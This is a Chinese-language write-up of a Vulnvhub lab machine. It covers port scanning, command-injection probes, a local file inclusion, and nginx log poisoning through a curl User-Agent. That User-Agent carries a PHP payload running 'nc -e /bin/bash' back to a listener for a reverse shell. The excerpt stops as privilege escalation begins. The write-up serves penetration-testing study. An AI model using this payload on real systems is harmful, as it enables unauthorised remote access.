近期在学习Linux提权,完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩,但在获得shell后的提权过程中,表现很出色。提权题目设计的逻辑严谨(不会出现突然的脑洞让你卡住),注重基础知识的考察,要求的知识面也很广,涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识,属于不可多得的精品之作,下面就开始这次靶场实战之旅。
一、主机端口探测利用命令arp-scan -l来发现靶机,然后看看靶机开放了哪些端口;
在利用nmap的脚本探测下端口可能存在的漏洞;
发现就开放了2个端口,22端口显然不是这里突破的重点,重点应该时web端口。
二、web渗透获取shell
访问下web看看;
看到这个第一直觉时命令执行漏洞,尝试输入:
127.0.0.1&whoami、127.0.0.1|whoami、127.0.0.1&&whoami、127.0.0.1||whoami都没有正确返回。后来有新的发现:
看到这个,联想到文件包含;
原来是本地包含,下面就利用日志来getshell。尝试了包含/var/log/auth.log,没有成功,那就不能利用ssh登录日志来获取shell,我们通过nmap扫描知道web的中间件是nginx,那我们就可以利用nginx日志来getshell。
1、nginx访问日志getshell
访问日志可以读取到;
写入shell:
curl -A "<?=system('nc -nv 192.168.0.3 8888 -e /bin/bash');?>"
通过文件包含触发反弹;
接收反弹;
2、nginx错误日志getshell
错误日志也可读取到;
写入shell;
通过文件包含触发反弹;
接收反弹;
这里也可以将nc的反弹命令改为其他的反弹方式,比如一句话、php反弹或bash反弹都可以,就不逐个演示了,大家根据实际情况选择。
弹回了shell,下一步就该提权了,也到了本靶场的精华之处,开始提权的漫长之旅。
三、辅助脚本利用有了www-data用户的shell,先尝试下有没有suid提权的可能;